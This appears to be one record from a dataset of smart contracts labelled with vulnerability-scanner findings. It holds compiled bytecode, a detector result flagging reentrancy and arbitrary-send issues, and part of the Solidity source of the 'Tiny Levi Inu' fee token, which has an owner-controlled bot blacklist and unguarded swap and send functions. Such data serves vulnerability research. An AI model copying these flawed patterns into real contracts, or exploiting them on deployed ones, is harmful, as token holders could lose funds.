86040518163ffffffff1660e01b815260040160206040518083038186803b15801561107b57600080fd5b505afa15801561108f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b39190612a7e565b6040518363ffffffff1660e01b81526004016110d0929190612fb5565b602060405180830381600087803b1580156110ea57600080fd5b505af11580156110fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111229190612a7e565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111ab30610999565b6000806111b6610b3d565b426040518863ffffffff1660e01b81526004016111d896959493929190613007565b6060604051808303818588803b1580156111f157600080fd5b505af1158015611205573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061122a9190612be9565b50505066071afd498d000060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612fde565b602060405180830381600087803b1580156112fb57600080fd5b505af115801561130f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113339190612b97565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a690613225565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611416906130e5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114fd91906132a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190613205565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e1906130a5565b60405180910390fd5b6000811161162d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611624906131e5565b60405180910390fd5b611635610b3d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a35750611673610b3d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d7857601360159054906101000a900460ff16156117a957600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff166117a8576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561183357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561189657611840612273565b8161184a84610999565b611854919061338a565b1115611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c90613105565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119415750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119975750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b6457601360149054906101000a900460ff166119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e290613265565b60405180910390fd5b600c600a81905550601360159054906101000a900460ff1615611afa57426014541115611af957601054811115611a2157600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90613125565b60405180910390fd5b602d42611ab2919061338a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff1615611b6357600942611b1c919061338a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611b6f30610999565b9050601360169054906101000a900460ff16158015611bdc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf45750601360149054906101000a900460ff165b15611d7657600c600a81905550601360159054906101000a900460ff1615611c9b5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9190613185565b60405180910390fd5b5b6000811115611d5c57611cf66064611ce8600b54611cda601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229b90919063ffffffff16565b61231690919063ffffffff16565b811115611d5257611d4f6064611d41600b54611d33601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229b90919063ffffffff16565b61231690919063ffffffff16565b90505b611d5b81611f79565b5b60004790506000811115611d7457611d7347611e9f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e1f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e2957600090505b611e3584848484612360565b50505050565b6000838311158290611e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7a9190613083565b60405180910390fd5b5060008385611e92919061346b565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f07573d6000803e3d6000fd5b5050565b6000600754821115611f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f49906130c5565b60405180910390fd5b6000611f5c61238d565b9050611f71818461231690919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fd7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120055781602001602082028036833780820191505090505b5090503081600081518110612043577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120e557600080fd5b505afa1580156120f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061211d9190612a7e565b81600181518110612157577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121be30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461133f565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122229594939291906132c0565b600060405180830381600087803b15801561223c57600080fd5b505af1158015612250573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000606460155461228261059c565b61228c9190613411565b61229691906133e0565b905090565b6000808314156122ae5760009050612310565b600082846122bc9190613411565b90508284826122cb91906133e0565b1461230b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612302906131a5565b60405180910390fd5b809150505b92915050565b600061235883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123b8565b905092915050565b8061236e5761236d61241b565b5b61237984848461245e565b8061238757612386612629565b5b50505050565b600080600061239a61263d565b915091506123b1818361231690919063ffffffff16565b9250505090565b600080831182906123ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f69190613083565b60405180910390fd5b506000838561240e91906133e0565b9050809150509392505050565b600060095414801561242f57506000600a54145b156124395761245c565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806124708761269c565b9550955095509550955095506124ce86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125af816127ac565b6125b98483612869565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161261691906132a5565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b60008060006007549050600067016345785d8a0000905061267167016345785d8a000060075461231690919063ffffffff16565b82101561268f5760075467016345785d8a0000935093505050612698565b81819350935050505b9091565b60008060008060008060008060006126b98a600954600a546128a3565b92509250925060006126c961238d565b905060008060006126dc8e878787612939565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061274683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e3b565b905092915050565b600080828461275d919061338a565b9050838110156127a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279990613145565b60405180910390fd5b8091505092915050565b60006127b661238d565b905060006127cd828461229b90919063ffffffff16565b905061282181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61287e8260075461270490919063ffffffff16565b6007819055506128998160085461274e90919063ffffffff16565b6008819055505050565b6000806000806128cf60646128c1888a61229b90919063ffffffff16565b61231690919063ffffffff16565b905060006128f960646128eb888b61229b90919063ffffffff16565b61231690919063ffffffff16565b9050600061292282612914858c61270490919063ffffffff16565b61270490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612952858961229b90919063ffffffff16565b90506000612969868961229b90919063ffffffff16565b90506000612980878961229b90919063ffffffff16565b905060006129a98261299b858761270490919063ffffffff16565b61270490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506129d1816139b4565b92915050565b6000815190506129e6816139b4565b92915050565b6000813590506129fb816139cb565b92915050565b600081519050612a10816139cb565b92915050565b600081359050612a25816139e2565b92915050565b600081519050612a3a816139e2565b92915050565b600081359050612a4f816139f9565b92915050565b600060208284031215612a6757600080fd5b6000612a75848285016129c2565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016129d7565b91505092915050565b60008060408385031215612aba57600080fd5b6000612ac8858286016129c2565b9250506020612ad9858286016129c2565b9150509250929050565b600080600060608486031215612af857600080fd5b6000612b06868287016129c2565b9350506020612b17868287016129c2565b9250506040612b2886828701612a16565b9150509250925092565b60008060408385031215612b4557600080fd5b6000612b53858286016129c2565b9250506020612b6485828601612a16565b9150509250929050565b600060208284031215612b8057600080fd5b6000612b8e848285016129ec565b91505092915050565b600060208284031215612ba957600080fd5b6000612bb784828501612a01565b91505092915050565b600060208284031215612bd257600080fd5b6000612be084828501612a16565b91505092915050565b600080600060608486031215612bfe57600080fd5b6000612c0c86828701612a2b565b9350506020612c1d86828701612a2b565b9250506040612c2e86828701612a2b565b9150509250925092565b600060208284031215612c4a57600080fd5b6000612c5884828501612a40565b91505092915050565b6000612c6d8383612c79565b60208301905092915050565b612c828161349f565b82525050565b612c918161349f565b82525050565b6000612ca282613345565b612cac8185613368565b9350612cb783613335565b8060005b83811015612ce8578151612ccf8882612c61565b9750612cda8361335b565b925050600181019050612cbb565b5085935050505092915050565b612cfe816134b1565b82525050565b612d0d816134f4565b82525050565b6000612d1e82613350565b612d288185613379565b9350612d38818560208601613506565b612d4181613597565b840191505092915050565b6000612d59602383613379565b9150612d64826135a8565b604082019050919050565b6000612d7c602a83613379565b9150612d87826135f7565b604082019050919050565b6000612d9f602283613379565b9150612daa82613646565b604082019050919050565b6000612dc2601983613379565b9150612dcd82613695565b602082019050919050565b6000612de5602283613379565b9150612df0826136be565b604082019050919050565b6000612e08601b83613379565b9150612e138261370d565b602082019050919050565b6000612e2b601583613379565b9150612e3682613736565b602082019050919050565b6000612e4e602383613379565b9150612e598261375f565b604082019050919050565b6000612e71602183613379565b9150612e7c826137ae565b604082019050919050565b6000612e94602083613379565b9150612e9f826137fd565b602082019050919050565b6000612eb7602983613379565b9150612ec282613826565b604082019050919050565b6000612eda602583613379565b9150612ee582613875565b604082019050919050565b6000612efd602483613379565b9150612f08826138c4565b604082019050919050565b6000612f20601783613379565b9150612f2b82613913565b602082019050919050565b6000612f43601883613379565b9150612f4e8261393c565b602082019050919050565b6000612f66602583613379565b9150612f7182613965565b604082019050919050565b612f85816134dd565b82525050565b612f94816134e7565b82525050565b6000602082019050612faf6000830184612c88565b92915050565b6000604082019050612fca6000830185612c88565b612fd76020830184612c88565b9392505050565b6000604082019050612ff36000830185612c88565b6130006020830184612f7c565b9392505050565b600060c08201905061301c6000830189612c88565b6130296020830188612f7c565b6130366040830187612d04565b6130436060830186612d04565b6130506080830185612c88565b61305d60a0830184612f7c565b979650505050505050565b600060208201905061307d6000830184612cf5565b92915050565b6000602082019050818103600083015261309d8184612d13565b905092915050565b600060208201905081810360008301526130be81612d4c565b9050919050565b600060208201905081810360008301526130de81612d6f565b9050919050565b600060208201905081810360008301526130fe81612d92565b9050919050565b6000602082019050818103600083015261311e81612db5565b9050919050565b6000602082019050818103600083015261313e81612dd8565b9050919050565b6000602082019050818103600083015261315e81612dfb565b9050919050565b6000602082019050818103600083015261317e81612e1e565b9050919050565b6000602082019050818103600083015261319e81612e41565b9050919050565b600060208201905081810360008301526131be81612e64565b9050919050565b600060208201905081810360008301526131de81612e87565b9050919050565b600060208201905081810360008301526131fe81612eaa565b9050919050565b6000602082019050818103600083015261321e81612ecd565b9050919050565b6000602082019050818103600083015261323e81612ef0565b9050919050565b6000602082019050818103600083015261325e81612f13565b9050919050565b6000602082019050818103600083015261327e81612f36565b9050919050565b6000602082019050818103600083015261329e81612f59565b9050919050565b60006020820190506132ba6000830184612f7c565b92915050565b600060a0820190506132d56000830188612f7c565b6132e26020830187612d04565b81810360408301526132f48186612c97565b90506133036060830185612c88565b6133106080830184612f7c565b9695505050505050565b600060208201905061332f6000830184612f8b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613395826134dd565b91506133a0836134dd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133d5576133d4613539565b5b828201905092915050565b60006133eb826134dd565b91506133f6836134dd565b92508261340657613405613568565b5b828204905092915050565b600061341c826134dd565b9150613427836134dd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134605761345f613539565b5b828202905092915050565b6000613476826134dd565b9150613481836134dd565b92508282101561349457613493613539565b5b828203905092915050565b60006134aa826134bd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134ff826134dd565b9050919050565b60005b83811015613524578082015181840152602081019050613509565b83811115613533576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d617820686f6c64696e67206361702062726561636865642e00000000000000600082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460008201527f68616e2031000000000000000000000000000000000000000000000000000000602082015250565b6139bd8161349f565b81146139c857600080fd5b50565b6139d4816134b1565b81146139df57600080fd5b50565b6139eb816134dd565b81146139f657600080fd5b50565b613a02816134e7565b8114613a0d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122060da5897f66f1d3c365c85be3b04fdf69ad8569c1976f7cd903cf8b9665f357064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,039 |
0x28a7d870cc63ec1e5dfeb8ffb50ec53e7dea8002
|
/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
//SPDX-License-Identifier: UNLICENSED
/*
鑓塵幗膂蓿f寥寢膃暠瘉甅甃槊槎f碣綮瘋聟碯颱亦尓㍍i:i:i;;:;:: : :
澣幗嶌塹傴嫩榛畝皋i袍耘蚌紕欒儼巓襴踟篁f罵f亦尓㍍i:i:i;;:;:: : :
漲蔭甃縟諛f麭窶膩I嶮薤篝爰曷樔黎㌢´ `ⅷ踟亦尓㍍i:i:i;;:;:: : :
蔕漓滿f蕓蟇踴f歙艇艀裲f睚鳫巓襴骸 贒憊亦尓㍍i:i:i;;:;:: : :
榊甃齊爰f懈橈燗殪幢緻I翰儂樔黎夢'” ,ィ傾篩縒亦尓㍍i:i:i;;:;:: : :
箋聚蜚壊劑薯i暹盥皋袍i耘蚌紕偸′ 雫寬I爰曷f亦尓㍍i:i:i;;:;:: : :
銕颱麼寰篝螂徑悗f篝嚠篩i縒縡齢 Ⅷ辨f篝I鋗f亦尓㍍i:i:i;;:; : : .
碯聟f綴麼辨螢f璟輯駲f迯瓲i軌帶′ `守I厖孩f奎亦尓㍍i:i:i;;:;:: : : .
綮誣撒f曷磔瑩德f幢儂儼巓襴緲′ `守枢i磬廛i亦尓㍍i:i:i;;:;:: : : .
慫寫廠徑悗緞f篝嚠篩I縒縡夢'´ `守峽f徑悗f亦尓㍍i:i:i;;:;:: : : .
廛僵I數畝篥I熾龍蚌紕襴緲′ ‘守畝皋弊i劍亦尓㍍i:i:i;;:;:: : : .
瘧i槲瑩f枢篝磬曷f瓲軌揄′ ,gf毯綴徑悗嚠迩忙亦尓㍍i:i:i;;:;:: : :
襴罩硼f艇艀裲睚鳫襴鑿緲' 奪寔f厦傀揵猯i爾迩忙亦尓㍍i:i:i;;:;
椈棘斐犀耋絎絲絨緲′ ”'罨悳萪f蒂渹幇f廏迩忙i亦尓㍍
潁樗I瘧德幢i儂巓緲′ r㎡℡〟”'罨椁裂滅楔滄愼愰迩忙亦
翦i磅艘溲I搦儼巓登zzz zzz㎜㎜ァg 緲 g 甯體i爺ゎ。, ”'罨琥焜毳徭i嵬塰慍絲
枢篝磬f曷迯i瓲軌f襴暹 甯幗緲 ,fi' 緲',纜。 贒i綟碕碚爺ゎ。 ”'罨皴發傲亂I黹靱
緞愾慊嵬嵯欒儼巓襴驫 霤I緲 ,緲 ",纜穐 甯絛跨飩i髢馳爺ゎ。`'等誄I筴碌I畷
罩硼I蒻筵硺艇艀i裲睚亀 篳'’,緲 g亀 Ⅶil齢 贒罩硼i艇艀裲睚鳫爺靠飭蛸I裘裔
椈f棘豢跫跪I衙絎絲絨i爺i㎜iⅣ ,緲i亀 Ⅶ靈, 甯傅喩I揵揚惹屡絎痙棏敞裔筴敢
頬i鞏褂f跫詹雋髢i曷迯瓲軌霤 ,緲蔭穐 Ⅶ穐 讎椈i棘貅f斐犀耋f絎絲觚f覃黹黍
襴蔽戮貲艀舅I肅肄肆槿f蝓Ⅷ 緲$慚I穐,疊穐 甯萪碾f鋗輜靠f誹臧鋩f褂跫詹i雋
鋐篆f瘧蜑筴裔罩罧I緜孵蓼Ⅷ i鷆嫩槞i歉皸鱚 冑縡諛諺彙溘嵳勠尠錣綴麼辨螢
Tiny Levi presents you the cleanest and the most degenerate degen token you ever made.
https://t.me/tinyleviinu
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TINYLEVI is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"Tiny Levi Inu";
string public constant symbol = unicode"TINYLEVI";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (5 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createNewPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiqNStart() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 200000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
